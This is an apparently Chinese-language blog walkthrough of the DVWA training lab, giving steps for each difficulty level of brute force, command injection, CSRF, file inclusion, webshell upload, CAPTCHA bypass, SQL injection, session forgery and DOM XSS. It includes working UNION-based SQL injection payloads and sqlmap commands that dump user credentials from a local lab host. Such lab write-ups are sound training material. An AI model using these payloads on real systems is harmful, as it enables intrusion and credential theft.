DVWA靶场通关

目录

Brute Force

Low

Medium

High

Command Injection

Low

Medium

High

CSRF

Low

Medium

High

File Inclusion

Low

Medium

High

File Upload

Low

​Medium

High

Insecure CAPTCHA

Low

Medium

High

SQL Injection

Low

Medium

High

SQL Injection (Blind)

Low

Medium

High

Weak Session IDs

Low

Medium

High

XSS(DOM)

Low

Medium

High


Brute Force

Low

用admin账号输入一个随机密码进行抓包,发送到爆破模块进行字典爆破密码

发现有一个响应长度不一样,最终发现这就是密码

Medium

一样抓密码去爆破

High

该关新增了token验证,使用burp爆破需要进行额外设置

根据该关源码设计思路先提交账号密码,当登陆失败时,返回一个新的token,下次提交登陆数据时,需要带着这个token,当token验证通过后,才会验证账号密码

一样先抓包放到爆破模块,选择攻击模式为Pitchfork,将password和token设置为两个参数,password和上述添加字典一致就不再阐述,设置第二个参数:

将这个设置为always

设置第二个参数的攻击模式

开始攻击,一样看到一个数据包长度不一致,查看即爆破成功

Command Injection

Low

|、||、&、&&都是windows和linux的连接管道符

Medium

新增过滤了&&和;符号,不使用即可

High

新增过滤了更多字符,但这过滤的 | 后面多了一个空格

CSRF

Low

该关只校验了cookie

抓取到更改密码时的数据包,用bp生成一个CSRF链接

丢弃掉抓的数据包,然后模拟用户在登录的状态下点击了陌生链接的情况,当一访问链接时发现密码被更改

Medium

先试试Low的方法,发现提示,是来源不正确

在Low方法中,在访问csrf链接时再抓一次包,修改referer字段,只要字段中包含host的内容即可,也可以手写一个网页然后将网页名称修改为包含host字段的名字,然后在访问时的referer就会包含host

High

File Inclusion

Low

输入一个不存在的php文件,暴露出了目录

尝试获取phpinfo.php

获取源码

Medium

先输入一个不存在的php文件

尝试获取c:\windows\win.ini文件,能够获取得到

尝试获取../../phpinfo.php发现提示文件不存在,但实际该文件存在,可能时../过滤

尝试双写绕过

High

file伪协议读取文件

File Upload

Low

写一个一句话木马上传,蚁剑或菜刀或其他连接工具连接即可

Medium

正常上传提示不是图像

通过修改Content-Type伪造为png文件

High

只能利用文件上传+文件包含,首先制作图片马上传

利用文件包含漏洞解析图片马

蚁剑连接即可

Insecure CAPTCHA

Low

正常修改密码显示验证不通过

抓包,将step修改为2即可通过

Medium

通过查看源码,需要step=2和passed_captcha=true才可通过校验

High

分析源码,UA字段需要是reCAPTCHA,g-recaptcha-response=hidd3n_valu3即可

SQL Injection

Low

判断是否存在漏洞和闭合方式是'

使用order by判断字段数为2

联合查询1,2查看是否有返回显示

有返回显示,使用联合查询注入获取数据库名

id=x' union select database(),2#

获取表名

x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取字段

x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取id=1的user和password

x' union select 1,concat(user,',',password) from users where user_id=1#

md5爆破

Medium

其主要是多了一个选择框只需要在bp抓包中进行数字型联合查询注入即可基本和Low一致

High

判断有无sql漏洞,1正常,1"正常,1’报错,证明存在sql注入漏洞,闭合方式是'

判断字段数为2,因为3报错

查询1,2有返回显示,使用联合查询注入

获取数据库名

获取表名

1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据

1' union select 1,group_concat(user,',',password) from users where user_id=1#

SQL Injection (Blind)

Low

使用sqlmap获取数据库名

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dvwa

Medium

将数据包保存成txt并在id参数值后面添加*

sqlmap获取数据库名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --current-db

获取表

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --tables -D dvwa

获取字段

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --columns -T users -D dvwa

获取数据

High

注入页面和显示页面不是同一个页面,设置--second-url参数即可

sqlmap获取数据库名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities
/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dv
wa

Weak Session IDs

Low

通过抓包获取到cookie

打开一个新的浏览器,已清除cookies,然后访问构造的url和添加的cookie访问成功进入

Medium

其使用的session是时间戳,一样可以伪造

抓包查看

打开一个新的浏览器,已清除cookies,然后访问构造的url和添加的cookie访问成功进入,时间戳获取可以在时间戳获取网站获取

成功访问进入

High

其使用的session是md5加密的,尝试几次破解发现就是数字123不断加,进行md5加密携带进cookie即可

XSS(DOM)

Low

将注入语句直接写在url

Medium

查看html代码,首先闭合option标签后再闭合select标签,之后script被替换了使用img

High

根据源码,default只运行传入选项里的那几个字符串,通过添加#注释符绕过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

拾柒SHY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值